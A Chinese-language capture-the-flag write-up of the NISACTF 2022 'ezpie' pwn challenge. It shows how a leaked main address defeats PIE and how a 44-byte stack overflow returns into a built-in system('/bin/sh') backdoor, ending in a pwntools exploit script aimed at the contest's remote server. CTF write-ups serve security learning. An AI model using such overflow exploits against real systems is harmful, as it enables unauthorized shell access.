0%

[[NISACTF 2022]ezpie Writeup

2026-01-21 15:03By
daochunhan
PIE保护栈溢出ret2text

Problem: [NISACTF 2022]ezpie

Pwn

#栈溢出 #PIE保护 #ret2text

解题步骤

查看文件基本信息
file pwn checksec pwn ./pwn

c9704817a9.jpg

32位ELF PIE NX Nocanary 有system@plt

运行程序给出main函数地址

(PIE 下需要先泄漏地址计算基址)

分析vuln函数
objdump -d pwn | grep -A 30 "vuln"

5bb16c8462.jpg

sub 0x28 分配40字节空间

push 0x50 %eax 0 读取最多80字节内容

存在栈溢出

分析后门函数
objdump -d pwn | grep -A 10 "shell"

11b842e70e.jpg

6cf90cbd07.jpg

push /bin/sh字符串

call system函数调用

EXP

main 0x770

shell 0x80f

溢出偏移量 4 + 0x28 = 44

from pwn import * r = remote('node5.anna.nssctf.cn', 21149) r.recvuntil('OHHH!,give you a gift!\n') r.sendlineafter('Input:', b'A'*44 + p32(int(r.recvline(),16) - 0x770 + 0x80f)) r.interactive()

获取shell 得到flag

07c2ab0df9.jpg

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论